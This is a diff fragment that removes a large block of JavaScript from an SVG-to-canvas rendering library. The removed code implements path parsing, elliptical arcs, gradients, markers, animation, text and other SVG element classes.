-		}
-		svg.Element.line.prototype = new svg.Element.PathElementBase;		
-				
-		// polyline element
-		svg.Element.polyline = function(node) {
-			this.base = svg.Element.PathElementBase;
-			this.base(node);
-			
-			this.points = svg.CreatePath(this.attribute('points').value);
-			this.path = function(ctx) {
-				var bb = new svg.BoundingBox(this.points[0].x, this.points[0].y);
-				if (ctx != null) {
-					ctx.beginPath();
-					ctx.moveTo(this.points[0].x, this.points[0].y);
-				}
-				for (var i=1; i<this.points.length; i++) {
-					bb.addPoint(this.points[i].x, this.points[i].y);
-					if (ctx != null) ctx.lineTo(this.points[i].x, this.points[i].y);
-				}
-				return bb;
-			}
-			
-			this.getMarkers = function() {
-				var markers = [];
-
-				for (var i=0; i<this.points.length - 1; i++) {
-					markers.push([this.points[i], this.points[i].angleTo(this.points[i+1])]);
-				}
-				markers.push([this.points[this.points.length-1], markers[markers.length-1][1]]);
-				return markers;
-			}			
-		}
-		svg.Element.polyline.prototype = new svg.Element.PathElementBase;				
-				
-		// polygon element
-		svg.Element.polygon = function(node) {
-			this.base = svg.Element.polyline;
-			this.base(node);
-			
-			this.basePath = this.path;
-			this.path = function(ctx) {
-				var bb = this.basePath(ctx);
-				if (ctx != null) {
-					ctx.lineTo(this.points[0].x, this.points[0].y);
-					ctx.closePath();
-				}
-				return bb;
-			}
-		}
-		svg.Element.polygon.prototype = new svg.Element.polyline;
-
-		// path element
-		svg.Element.path = function(node) {
-			this.base = svg.Element.PathElementBase;
-			this.base(node);
-					
-			var d = this.attribute('d').value;
-			// TODO: floating points, convert to real lexer based on http://www.w3.org/TR/SVG11/paths.html#PathDataBNF
-			d = d.replace(/,/gm,' '); // get rid of all commas
-			d = d.replace(/([A-Za-z])([A-Za-z])/gm,'$1 $2'); // separate commands from commands
-			d = d.replace(/([A-Za-z])([A-Za-z])/gm,'$1 $2'); // separate commands from commands
-			d = d.replace(/([A-Za-z])([^\s])/gm,'$1 $2'); // separate commands from points
-			d = d.replace(/([^\s])([A-Za-z])/gm,'$1 $2'); // separate commands from points
-			d = d.replace(/([0-9])([+\-])/gm,'$1 $2'); // separate digits when no comma
-			d = d.replace(/(\.[0-9]*)(\.)/gm,'$1 $2'); // separate digits when no comma
-			d = d.replace(/([Aa](\s+[0-9]+){3})\s+([01])\s*([01])/gm,'$1 $3 $4 '); // shorthand elliptical arc path syntax
-			d = svg.compressSpaces(d); // compress multiple spaces
-			d = svg.trim(d);
-			this.PathParser = new (function(d) {
-				this.tokens = d.split(' ');
-				
-				this.reset = function() {
-					this.i = -1;
-					this.command = '';
-					this.previousCommand = '';
-					this.control = new svg.Point(0, 0);
-					this.current = new svg.Point(0, 0);
-					this.points = [];
-					this.angles = [];
-				}
-								
-				this.isEnd = function() {
-					return this.i == this.tokens.length - 1;
-				}
-				
-				this.isCommandOrEnd = function() {
-					if (this.isEnd()) return true;
-					return this.tokens[this.i + 1].match(/[A-Za-z]/) != null;
-				}
-				
-				this.isRelativeCommand = function() {
-					return this.command == this.command.toLowerCase();
-				}
-							
-				this.getToken = function() {
-					this.i = this.i + 1;
-					return this.tokens[this.i];
-				}
-				
-				this.getScalar = function() {
-					return parseFloat(this.getToken());
-				}
-				
-				this.nextCommand = function() {
-					this.previousCommand = this.command;
-					this.command = this.getToken();
-				}				
-				
-				this.getPoint = function() {
-					var p = new svg.Point(this.getScalar(), this.getScalar());
-					return this.makeAbsolute(p);
-				}
-				
-				this.getAsControlPoint = function() {
-					var p = this.getPoint();
-					this.control = p;
-					return p;
-				}
-				
-				this.getAsCurrentPoint = function() {
-					var p = this.getPoint();
-					this.current = p;
-					return p;	
-				}
-				
-				this.getReflectedControlPoint = function() {
-					if (this.previousCommand.toLowerCase() != 'c' && this.previousCommand.toLowerCase() != 's') {
-						return this.current;
-					}
-					
-					// reflect point
-					var p = new svg.Point(2 * this.current.x - this.control.x, 2 * this.current.y - this.control.y);					
-					return p;
-				}
-				
-				this.makeAbsolute = function(p) {
-					if (this.isRelativeCommand()) {
-						p.x = this.current.x + p.x;
-						p.y = this.current.y + p.y;
-					}
-					return p;
-				}
-				
-				this.addMarker = function(p, from) {
-					this.addMarkerAngle(p, from == null ? null : from.angleTo(p));
-				}
-				
-				this.addMarkerAngle = function(p, a) {
-					this.points.push(p);
-					this.angles.push(a);
-				}				
-				
-				this.getMarkerPoints = function() { return this.points; }
-				this.getMarkerAngles = function() {
-					for (var i=0; i<this.angles.length; i++) {
-						if (this.angles[i] == null) {
-							for (var j=i+1; j<this.angles.length; j++) {
-								if (this.angles[j] != null) {
-									this.angles[i] = this.angles[j];
-									break;
-								}
-							}
-						}
-					}
-					return this.angles;
-				}
-			})(d);
-			
-			this.path = function(ctx) {		
-				var pp = this.PathParser;
-				pp.reset();
-				
-				var bb = new svg.BoundingBox();
-				if (ctx != null) ctx.beginPath();
-				while (!pp.isEnd()) {
-					pp.nextCommand();
-					if (pp.command.toUpperCase() == 'M') {
-						var p = pp.getAsCurrentPoint();
-						pp.addMarker(p);
-						bb.addPoint(p.x, p.y);
-						if (ctx != null) ctx.moveTo(p.x, p.y);
-						while (!pp.isCommandOrEnd()) {
-							var p = pp.getAsCurrentPoint();
-							pp.addMarker(p);
-							bb.addPoint(p.x, p.y);
-							if (ctx != null) ctx.lineTo(p.x, p.y);
-						}
-					}
-					else if (pp.command.toUpperCase() == 'L') {
-						while (!pp.isCommandOrEnd()) {
-							var c = pp.current;
-							var p = pp.getAsCurrentPoint();
-							pp.addMarker(p, c);
-							bb.addPoint(p.x, p.y);
-							if (ctx != null) ctx.lineTo(p.x, p.y);
-						}
-					}
-					else if (pp.command.toUpperCase() == 'H') {
-						while (!pp.isCommandOrEnd()) {
-							var newP = new svg.Point((pp.isRelativeCommand() ? pp.current.x : 0) + pp.getScalar(), pp.current.y);
-							pp.addMarker(newP, pp.current);
-							pp.current = newP;
-							bb.addPoint(pp.current.x, pp.current.y);
-							if (ctx != null) ctx.lineTo(pp.current.x, pp.current.y);
-						}
-					}
-					else if (pp.command.toUpperCase() == 'V') {
-						while (!pp.isCommandOrEnd()) {
-							var newP = new svg.Point(pp.current.x, (pp.isRelativeCommand() ? pp.current.y : 0) + pp.getScalar());
-							pp.addMarker(newP, pp.current);
-							pp.current = newP;
-							bb.addPoint(pp.current.x, pp.current.y);
-							if (ctx != null) ctx.lineTo(pp.current.x, pp.current.y);
-						}
-					}
-					else if (pp.command.toUpperCase() == 'C') {
-						while (!pp.isCommandOrEnd()) {
-							var curr = pp.current;
-							var p1 = pp.getPoint();
-							var cntrl = pp.getAsControlPoint();
-							var cp = pp.getAsCurrentPoint();
-							pp.addMarker(cp, cntrl);
-							bb.addBezierCurve(curr.x, curr.y, p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
-							if (ctx != null) ctx.bezierCurveTo(p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
-						}
-					}
-					else if (pp.command.toUpperCase() == 'S') {
-						while (!pp.isCommandOrEnd()) {
-							var curr = pp.current;
-							var p1 = pp.getReflectedControlPoint();
-							var cntrl = pp.getAsControlPoint();
-							var cp = pp.getAsCurrentPoint();
-							pp.addMarker(cp, cntrl);
-							bb.addBezierCurve(curr.x, curr.y, p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
-							if (ctx != null) ctx.bezierCurveTo(p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
-						}				
-					}					
-					else if (pp.command.toUpperCase() == 'Q') {
-						while (!pp.isCommandOrEnd()) {
-							var curr = pp.current;
-							var cntrl = pp.getAsControlPoint();
-							var cp = pp.getAsCurrentPoint();
-							pp.addMarker(cp, cntrl);
-							bb.addQuadraticCurve(curr.x, curr.y, cntrl.x, cntrl.y, cp.x, cp.y);
-							if (ctx != null) ctx.quadraticCurveTo(cntrl.x, cntrl.y, cp.x, cp.y);
-						}
-					}					
-					else if (pp.command.toUpperCase() == 'T') {
-						while (!pp.isCommandOrEnd()) {
-							var curr = pp.current;
-							var cntrl = pp.getReflectedControlPoint();
-							pp.control = cntrl;
-							var cp = pp.getAsCurrentPoint();
-							pp.addMarker(cp, cntrl);
-							bb.addQuadraticCurve(curr.x, curr.y, cntrl.x, cntrl.y, cp.x, cp.y);
-							if (ctx != null) ctx.quadraticCurveTo(cntrl.x, cntrl.y, cp.x, cp.y);
-						}					
-					}
-					else if (pp.command.toUpperCase() == 'A') {
-						while (!pp.isCommandOrEnd()) {
-						    var curr = pp.current;
-							var rx = pp.getScalar();
-							var ry = pp.getScalar();
-							var xAxisRotation = pp.getScalar() * (Math.PI / 180.0);
-							var largeArcFlag = pp.getScalar();
-							var sweepFlag = pp.getScalar();
-							var cp = pp.getAsCurrentPoint();
-							
-							// Conversion from endpoint to center parameterization
-							// http://www.w3.org/TR/SVG11/implnote.html#ArcImplementationNotes
-							// x1', y1'
-							var currp = new svg.Point(
-								Math.cos(xAxisRotation) * (curr.x - cp.x) / 2.0 + Math.sin(xAxisRotation) * (curr.y - cp.y) / 2.0,
-								-Math.sin(xAxisRotation) * (curr.x - cp.x) / 2.0 + Math.cos(xAxisRotation) * (curr.y - cp.y) / 2.0
-							);
-							// adjust radii
-							var l = Math.pow(currp.x,2)/Math.pow(rx,2)+Math.pow(currp.y,2)/Math.pow(ry,2);
-							if (l > 1) {
-								rx *= Math.sqrt(l);
-								ry *= Math.sqrt(l);
-							}
-							// cx', cy'
-							var s = (largeArcFlag == sweepFlag ? -1 : 1) * Math.sqrt(
-								((Math.pow(rx,2)*Math.pow(ry,2))-(Math.pow(rx,2)*Math.pow(currp.y,2))-(Math.pow(ry,2)*Math.pow(currp.x,2))) /
-								(Math.pow(rx,2)*Math.pow(currp.y,2)+Math.pow(ry,2)*Math.pow(currp.x,2))
-							);
-							if (isNaN(s)) s = 0;
-							var cpp = new svg.Point(s * rx * currp.y / ry, s * -ry * currp.x / rx);
-							// cx, cy
-							var centp = new svg.Point(
-								(curr.x + cp.x) / 2.0 + Math.cos(xAxisRotation) * cpp.x - Math.sin(xAxisRotation) * cpp.y,
-								(curr.y + cp.y) / 2.0 + Math.sin(xAxisRotation) * cpp.x + Math.cos(xAxisRotation) * cpp.y
-							);
-							// vector magnitude
-							var m = function(v) { return Math.sqrt(Math.pow(v[0],2) + Math.pow(v[1],2)); }
-							// ratio between two vectors
-							var r = function(u, v) { return (u[0]*v[0]+u[1]*v[1]) / (m(u)*m(v)) }
-							// angle between two vectors
-							var a = function(u, v) { return (u[0]*v[1] < u[1]*v[0] ? -1 : 1) * Math.acos(r(u,v)); }
-							// initial angle
-							var a1 = a([1,0], [(currp.x-cpp.x)/rx,(currp.y-cpp.y)/ry]);
-							// angle delta
-							var u = [(currp.x-cpp.x)/rx,(currp.y-cpp.y)/ry];
-							var v = [(-currp.x-cpp.x)/rx,(-currp.y-cpp.y)/ry];
-							var ad = a(u, v);
-							if (r(u,v) <= -1) ad = Math.PI;
-							if (r(u,v) >= 1) ad = 0;
-							
-							if (sweepFlag == 0 && ad > 0) ad = ad - 2 * Math.PI;
-							if (sweepFlag == 1 && ad < 0) ad = ad + 2 * Math.PI;
-							
-							// for markers
-							var halfWay = new svg.Point(
-								centp.x - rx * Math.cos((a1 + ad) / 2),
-								centp.y - ry * Math.sin((a1 + ad) / 2)
-							);
-							pp.addMarkerAngle(halfWay, (a1 + ad) / 2 + (sweepFlag == 0 ? 1 : -1) * Math.PI / 2);
-							pp.addMarkerAngle(cp, ad + (sweepFlag == 0 ? 1 : -1) * Math.PI / 2);
-														
-							bb.addPoint(cp.x, cp.y); // TODO: this is too naive, make it better
-							if (ctx != null) {
-								var r = rx > ry ? rx : ry;
-								var sx = rx > ry ? 1 : rx / ry;
-								var sy = rx > ry ? ry / rx : 1;
-							
-								ctx.translate(centp.x, centp.y);
-								ctx.rotate(xAxisRotation);
-								ctx.scale(sx, sy);
-								ctx.arc(0, 0, r, a1, a1 + ad, 1 - sweepFlag);
-								ctx.scale(1/sx, 1/sy);
-								ctx.rotate(-xAxisRotation);
-								ctx.translate(-centp.x, -centp.y);
-							}
-						}
-					}
-					else if (pp.command.toUpperCase() == 'Z') {
-						if (ctx != null) ctx.closePath();
-					}
-				}
-							
-				return bb;
-			}
-			
-			this.getMarkers = function() {
-				var points = this.PathParser.getMarkerPoints();
-				var angles = this.PathParser.getMarkerAngles();
-				
-				var markers = [];
-				for (var i=0; i<points.length; i++) {
-					markers.push([points[i], angles[i]]);
-				}
-				return markers;
-			}
-		}
-		svg.Element.path.prototype = new svg.Element.PathElementBase;
-		
-		// pattern element
-		svg.Element.pattern = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			this.createPattern = function(ctx, element) {
-				// render me using a temporary svg element
-				var tempSvg = new svg.Element.svg();
-				tempSvg.attributes['viewBox'] = new svg.Property('viewBox', this.attribute('viewBox').value);
-				tempSvg.attributes['x'] = new svg.Property('x', this.attribute('x').value);
-				tempSvg.attributes['y'] = new svg.Property('y', this.attribute('y').value);
-				tempSvg.attributes['width'] = new svg.Property('width', this.attribute('width').value);
-				tempSvg.attributes['height'] = new svg.Property('height', this.attribute('height').value);
-				tempSvg.children = this.children;
-				
-				var c = document.createElement('canvas');
-				c.width = this.attribute('width').Length.toPixels();
-				c.height = this.attribute('height').Length.toPixels();
-				tempSvg.render(c.getContext('2d'));		
-				return ctx.createPattern(c, 'repeat');
-			}
-		}
-		svg.Element.pattern.prototype = new svg.Element.ElementBase;
-		
-		// marker element
-		svg.Element.marker = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			this.baseRender = this.render;
-			this.render = function(ctx, point, angle) {
-				ctx.translate(point.x, point.y);
-				if (this.attribute('orient').valueOrDefault('auto') == 'auto') ctx.rotate(angle);
-				if (this.attribute('markerUnits').valueOrDefault('strokeWidth') == 'strokeWidth') ctx.scale(ctx.lineWidth, ctx.lineWidth);
-				ctx.save();
-							
-				// render me using a temporary svg element
-				var tempSvg = new svg.Element.svg();
-				tempSvg.attributes['viewBox'] = new svg.Property('viewBox', this.attribute('viewBox').value);
-				tempSvg.attributes['refX'] = new svg.Property('refX', this.attribute('refX').value);
-				tempSvg.attributes['refY'] = new svg.Property('refY', this.attribute('refY').value);
-				tempSvg.attributes['width'] = new svg.Property('width', this.attribute('markerWidth').value);
-				tempSvg.attributes['height'] = new svg.Property('height', this.attribute('markerHeight').value);
-				tempSvg.attributes['fill'] = new svg.Property('fill', this.attribute('fill').valueOrDefault('black'));
-				tempSvg.attributes['stroke'] = new svg.Property('stroke', this.attribute('stroke').valueOrDefault('none'));
-				tempSvg.children = this.children;
-				tempSvg.render(ctx);
-				
-				ctx.restore();
-				if (this.attribute('markerUnits').valueOrDefault('strokeWidth') == 'strokeWidth') ctx.scale(1/ctx.lineWidth, 1/ctx.lineWidth);
-				if (this.attribute('orient').valueOrDefault('auto') == 'auto') ctx.rotate(-angle);
-				ctx.translate(-point.x, -point.y);
-			}
-		}
-		svg.Element.marker.prototype = new svg.Element.ElementBase;
-		
-		// definitions element
-		svg.Element.defs = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);	
-			
-			this.render = function(ctx) {
-				// NOOP
-			}
-		}
-		svg.Element.defs.prototype = new svg.Element.ElementBase;
-		
-		// base for gradients
-		svg.Element.GradientBase = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			this.gradientUnits = this.attribute('gradientUnits').valueOrDefault('objectBoundingBox');
-			
-			this.stops = [];			
-			for (var i=0; i<this.children.length; i++) {
-				var child = this.children[i];
-				this.stops.push(child);
-			}	
-			
-			this.getGradient = function() {
-				// OVERRIDE ME!
-			}			
-
-			this.createGradient = function(ctx, element) {
-				var stopsContainer = this;
-				if (this.attribute('xlink:href').hasValue()) {
-					stopsContainer = this.attribute('xlink:href').Definition.getDefinition();
-				}
-			
-				var g = this.getGradient(ctx, element);
-				for (var i=0; i<stopsContainer.stops.length; i++) {
-					g.addColorStop(stopsContainer.stops[i].offset, stopsContainer.stops[i].color);
-				}
-				return g;				
-			}
-		}
-		svg.Element.GradientBase.prototype = new svg.Element.ElementBase;
-		
-		// linear gradient element
-		svg.Element.linearGradient = function(node) {
-			this.base = svg.Element.GradientBase;
-			this.base(node);
-			
-			this.getGradient = function(ctx, element) {
-				var bb = element.getBoundingBox();
-				
-				var x1 = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.x() + bb.width() * this.attribute('x1').numValue() 
-					: this.attribute('x1').Length.toPixels('x'));
-				var y1 = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.y() + bb.height() * this.attribute('y1').numValue()
-					: this.attribute('y1').Length.toPixels('y'));
-				var x2 = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.x() + bb.width() * this.attribute('x2').numValue()
-					: this.attribute('x2').Length.toPixels('x'));
-				var y2 = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.y() + bb.height() * this.attribute('y2').numValue()
-					: this.attribute('y2').Length.toPixels('y'));
-				
-				var p1 = new svg.Point(x1, y1);
-				var p2 = new svg.Point(x2, y2);
-				if (this.attribute('gradientTransform').hasValue()) { 
-					var transform = new svg.Transform(this.attribute('gradientTransform').value);
-					transform.applyToPoint(p1);
-					transform.applyToPoint(p2);
-				}
-				
-				return ctx.createLinearGradient(p1.x, p1.y, p2.x, p2.y);
-			}
-		}
-		svg.Element.linearGradient.prototype = new svg.Element.GradientBase;
-		
-		// radial gradient element
-		svg.Element.radialGradient = function(node) {
-			this.base = svg.Element.GradientBase;
-			this.base(node);
-			
-			this.getGradient = function(ctx, element) {
-				var bb = element.getBoundingBox();
-				
-				var cx = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.x() + bb.width() * this.attribute('cx').numValue() 
-					: this.attribute('cx').Length.toPixels('x'));
-				var cy = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.y() + bb.height() * this.attribute('cy').numValue() 
-					: this.attribute('cy').Length.toPixels('y'));
-				
-				var fx = cx;
-				var fy = cy;
-				if (this.attribute('fx').hasValue()) {
-					fx = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.x() + bb.width() * this.attribute('fx').numValue() 
-					: this.attribute('fx').Length.toPixels('x'));
-				}
-				if (this.attribute('fy').hasValue()) {
-					fy = (this.gradientUnits == 'objectBoundingBox' 
-					? bb.y() + bb.height() * this.attribute('fy').numValue() 
-					: this.attribute('fy').Length.toPixels('y'));
-				}
-				
-				var r = (this.gradientUnits == 'objectBoundingBox' 
-					? (bb.width() + bb.height()) / 2.0 * this.attribute('r').numValue()
-					: this.attribute('r').Length.toPixels());
-				
-				var c = new svg.Point(cx, cy);
-				var f = new svg.Point(fx, fy);
-				if (this.attribute('gradientTransform').hasValue()) { 
-					var transform = new svg.Transform(this.attribute('gradientTransform').value);
-					transform.applyToPoint(c);
-					transform.applyToPoint(f);
-				}				
-				
-				return ctx.createRadialGradient(f.x, f.y, 0, c.x, c.y, r);
-			}
-		}
-		svg.Element.radialGradient.prototype = new svg.Element.GradientBase;
-		
-		// gradient stop element
-		svg.Element.stop = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			this.offset = this.attribute('offset').numValue();
-			
-			var stopColor = this.style('stop-color');
-			if (this.style('stop-opacity').hasValue()) stopColor = stopColor.Color.addOpacity(this.style('stop-opacity').value);
-			this.color = stopColor.value;
-		}
-		svg.Element.stop.prototype = new svg.Element.ElementBase;
-		
-		// animation base element
-		svg.Element.AnimateBase = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			svg.Animations.push(this);
-			
-			this.duration = 0.0;
-			this.begin = this.attribute('begin').Time.toMilliseconds();
-			this.maxDuration = this.begin + this.attribute('dur').Time.toMilliseconds();
-
-			this.calcValue = function() {
-				// OVERRIDE ME!
-				return '';
-			}
-			
-			this.update = function(delta) {			
-				// if we're past the end time
-				if (this.duration > this.maxDuration) {
-					// loop for indefinitely repeating animations
-					if (this.attribute('repeatCount').value == 'indefinite') {
-						this.duration = 0.0
-					}
-					else {
-						return false; // no updates made
-					}
-				}			
-				this.duration = this.duration + delta;
-			
-				// if we're past the begin time
-				var updated = false;
-				if (this.begin < this.duration) {
-					var newValue = this.calcValue(); // tween
-					var attributeType = this.attribute('attributeType').value;
-					var attributeName = this.attribute('attributeName').value;
-					
-					if (this.parent != null) {
-						if (attributeType == 'CSS') {
-							this.parent.style(attributeName, true).value = newValue;
-						}
-						else { // default or XML
-							if (this.attribute('type').hasValue()) {
-								// for transform, etc.
-								var type = this.attribute('type').value;
-								this.parent.attribute(attributeName, true).value = type + '(' + newValue + ')';
-							}
-							else {
-								this.parent.attribute(attributeName, true).value = newValue;
-							}
-						}
-						updated = true;
-					}
-				}
-				
-				return updated;
-			}
-			
-			// fraction of duration we've covered
-			this.progress = function() {
-				return ((this.duration - this.begin) / (this.maxDuration - this.begin));
-			}			
-		}
-		svg.Element.AnimateBase.prototype = new svg.Element.ElementBase;
-		
-		// animate element
-		svg.Element.animate = function(node) {
-			this.base = svg.Element.AnimateBase;
-			this.base(node);
-			
-			this.calcValue = function() {
-				var from = this.attribute('from').numValue();
-				var to = this.attribute('to').numValue();
-				
-				// tween value linearly
-				return from + (to - from) * this.progress(); 
-			};
-		}
-		svg.Element.animate.prototype = new svg.Element.AnimateBase;
-			
-		// animate color element
-		svg.Element.animateColor = function(node) {
-			this.base = svg.Element.AnimateBase;
-			this.base(node);
-
-			this.calcValue = function() {
-				var from = new RGBColor(this.attribute('from').value);
-				var to = new RGBColor(this.attribute('to').value);
-				
-				if (from.ok && to.ok) {
-					// tween color linearly
-					var r = from.r + (to.r - from.r) * this.progress();
-					var g = from.g + (to.g - from.g) * this.progress();
-					var b = from.b + (to.b - from.b) * this.progress();
-					return 'rgb('+parseInt(r,10)+','+parseInt(g,10)+','+parseInt(b,10)+')';
-				}
-				return this.attribute('from').value;
-			};
-		}
-		svg.Element.animateColor.prototype = new svg.Element.AnimateBase;
-		
-		// animate transform element
-		svg.Element.animateTransform = function(node) {
-			this.base = svg.Element.animate;
-			this.base(node);
-		}
-		svg.Element.animateTransform.prototype = new svg.Element.animate;
-		
-		// text element
-		svg.Element.text = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-			
-			if (node != null) {
-				// add children
-				this.children = [];
-				for (var i=0; i<node.childNodes.length; i++) {
-					var childNode = node.childNodes[i];
-					if (childNode.nodeType == 1) { // capture tspan and tref nodes
-						this.addChild(childNode, true);
-					}
-					else if (childNode.nodeType == 3) { // capture text
-						this.addChild(new svg.Element.tspan(childNode), false);
-					}
-				}
-			}
-			
-			this.baseSetContext = this.setContext;
-			this.setContext = function(ctx) {
-				this.baseSetContext(ctx);
-				if (this.attribute('text-anchor').hasValue()) {
-					var textAnchor = this.attribute('text-anchor').value;
-					ctx.textAlign = textAnchor == 'middle' ? 'center' : textAnchor;
-				}
-				if (this.attribute('alignment-baseline').hasValue()) ctx.textBaseline = this.attribute('alignment-baseline').value;
-			}
-			
-			this.renderChildren = function(ctx) {
-				var x = this.attribute('x').Length.toPixels('x');
-				var y = this.attribute('y').Length.toPixels('y');
-				for (var i=0; i<this.children.length; i++) {
-					var child = this.children[i];
-				
-					if (child.attribute('x').hasValue()) {
-						child.x = child.attribute('x').Length.toPixels('x');
-					}
-					else {
-						if (child.attribute('dx').hasValue()) x += child.attribute('dx').Length.toPixels('x');
-						child.x = x;
-						x += child.measureText(ctx);
-					}
-					
-					if (child.attribute('y').hasValue()) {
-						child.y = child.attribute('y').Length.toPixels('y');
-					}
-					else {
-						if (child.attribute('dy').hasValue()) y += child.attribute('dy').Length.toPixels('y');
-						child.y = y;
-					}	
-					
-					child.render(ctx);
-				}
-			}
-		}
-		svg.Element.text.prototype = new svg.Element.RenderedElementBase;
-		
-		// text base
-		svg.Element.TextElementBase = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-			
-			this.renderChildren = function(ctx) {
-				ctx.fillText(svg.compressSpaces(this.getText()), this.x, this.y);
-			}
-			
-			this.getText = function() {
-				// OVERRIDE ME
-			}
-			
-			this.measureText = function(ctx) {
-				var textToMeasure = svg.compressSpaces(this.getText());
-				if (!ctx.measureText) return textToMeasure.length * 10;
-				return ctx.measureText(textToMeasure).width;
-			}
-		}
-		svg.Element.TextElementBase.prototype = new svg.Element.RenderedElementBase;
-		
-		// tspan 
-		svg.Element.tspan = function(node) {
-			this.base = svg.Element.TextElementBase;
-			this.base(node);
-			
-			//								 TEXT			  ELEMENT
-			this.text = node.nodeType == 3 ? node.nodeValue : node.childNodes[0].nodeValue;
-			this.getText = function() {
-				return this.text;
-			}
-		}
-		svg.Element.tspan.prototype = new svg.Element.TextElementBase;
-		
-		// tref
-		svg.Element.tref = function(node) {
-			this.base = svg.Element.TextElementBase;
-			this.base(node);
-			
-			this.getText = function() {
-				var element = this.attribute('xlink:href').Definition.getDefinition();
-				if (element != null) return element.children[0].getText();
-			}
-		}
-		svg.Element.tref.prototype = new svg.Element.TextElementBase;		
-		
-		// a element
-		svg.Element.a = function(node) {
-			this.base = svg.Element.TextElementBase;
-			this.base(node);
-			
-			this.hasText = true;
-			for (var i=0; i<node.childNodes.length; i++) {
-				if (node.childNodes[i].nodeType != 3) this.hasText = false;
-			}
-			
-			// this might contain text
-			this.text = this.hasText ? node.childNodes[0].nodeValue : '';
-			this.getText = function() {
-				return this.text;
-			}		
-
-			this.baseRenderChildren = this.renderChildren;
-			this.renderChildren = function(ctx) {
-				if (this.hasText) {
-					// render as text element
-					this.baseRenderChildren(ctx);
-					var fontSize = new svg.Property('fontSize', svg.Font.Parse(svg.ctx.font).fontSize);
-					svg.Mouse.checkBoundingBox(this, new svg.BoundingBox(this.x, this.y - fontSize.Length.toPixels('y'), this.x + this.measureText(ctx), this.y));					
-				}
-				else {
-					// render as temporary group
-					var g = new svg.Element.g();
-					g.children = this.children;
-					g.parent = this;
-					g.render(ctx);
-				}
-			}
-			
-			this.onclick = function() {
-				window.open(this.attribute('xlink:href').value);
-			}
-			
-			this.onmousemove = function() {
-				svg.ctx.canvas.style.cursor = 'pointer';
-			}
-		}
-		svg.Element.a.prototype = new svg.Element.TextElementBase;		
-		
-		// image element
-		svg.Element.image = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-			
-			svg.Images.push(this);
-			this.img = document.createElement('img');
-			this.loaded = false;
-			var that = this;
-			this.img.onload = function() { that.loaded = true; }
-			this.img.src = this.attribute('xlink:href').value;
-			
-			this.renderChildren = function(ctx) {
-				var x = this.attribute('x').Length.toPixels('x');
-				var y = this.attribute('y').Length.toPixels('y');
-				
-				var width = this.attribute('width').Length.toPixels('x');
-				var height = this.attribute('height').Length.toPixels('y');			
-				if (width == 0 || height == 0) return;
-			
-				ctx.save();
-				ctx.translate(x, y);
-				svg.AspectRatio(ctx,
-								this.attribute('preserveAspectRatio').value,
-								width,
-								this.img.width,
-								height,
-								this.img.height,
-								0,
-								0);	
-				ctx.drawImage(this.img, 0, 0);			
-				ctx.restore();
-			}
-		}
-		svg.Element.image.prototype = new svg.Element.RenderedElementBase;
-		
-		// group element
-		svg.Element.g = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-		}
-		svg.Element.g.prototype = new svg.Element.RenderedElementBase;
-
-		// symbol element
-		svg.Element.symbol = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-		}
-		svg.Element.symbol.prototype = new svg.Element.RenderedElementBase;		
-			
-		// style element
-		svg.Element.style = function(node) { 
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			var css = node.childNodes[0].nodeValue;
-			css = css.replace(/(\/\*([^*]|[\r\n]|(\*+([^*\/]|[\r\n])))*\*+\/)|(\/\/.*)/gm, ''); // remove comments
-			css = svg.compressSpaces(css); // replace whitespace
-			var cssDefs = css.split('}');
-			for (var i=0; i<cssDefs.length; i++) {
-				if (svg.trim(cssDefs[i]) != '') {
-					var cssDef = cssDefs[i].split('{');
-					var cssClasses = cssDef[0].split(',');
-					var cssProps = cssDef[1].split(';');
-					for (var j=0; j<cssClasses.length; j++) {
-						var cssClass = svg.trim(cssClasses[j]);
-						if (cssClass != '') {
-							var props = {};
-							for (var k=0; k<cssProps.length; k++) {
-								var prop = cssProps[k].split(':');
-								var name = prop[0];
-								var value = prop[1];
-								if (name != null && value != null) {
-									props[svg.trim(prop[0])] = new svg.Property(svg.trim(prop[0]), svg.trim(prop[1]));
-								}
-							}
-							svg.Styles[cssClass] = props;
-						}
-					}
-				}
-			}
-		}
-		svg.Element.style.prototype = new svg.Element.ElementBase;
-		
-		// use element 
-		svg.Element.use = function(node) {
-			this.base = svg.Element.RenderedElementBase;
-			this.base(node);
-			
-			this.baseSetContext = this.setContext;
-			this.setContext = function(ctx) {
-				this.baseSetContext(ctx);
-				if (this.attribute('x').hasValue()) ctx.translate(this.attribute('x').Length.toPixels('x'), 0);
-				if (this.attribute('y').hasValue()) ctx.translate(0, this.attribute('y').Length.toPixels('y'));
-			}
-			
-			this.getDefinition = function() {
-				return this.attribute('xlink:href').Definition.getDefinition();
-			}
-			
-			this.path = function(ctx) {
-				var element = this.getDefinition();
-				if (element != null) element.path(ctx);
-			}
-			
-			this.renderChildren = function(ctx) {
-				var element = this.getDefinition();
-				if (element != null) element.render(ctx);
-			}
-		}
-		svg.Element.use.prototype = new svg.Element.RenderedElementBase;
-		
-		// clip element
-		svg.Element.clipPath = function(node) {
-			this.base = svg.Element.ElementBase;
-			this.base(node);
-			
-			this.apply = function(ctx) {
-				for (var i=0; i<this.children.length; i++) {
-					if (this.children[i].path) {
-						this.children[i].path(ctx);
-						ctx.clip();
-					}
-				}
-			}
-		}
-		svg.Element.clipPath.prototype = new svg.Element.ElementBase;
-
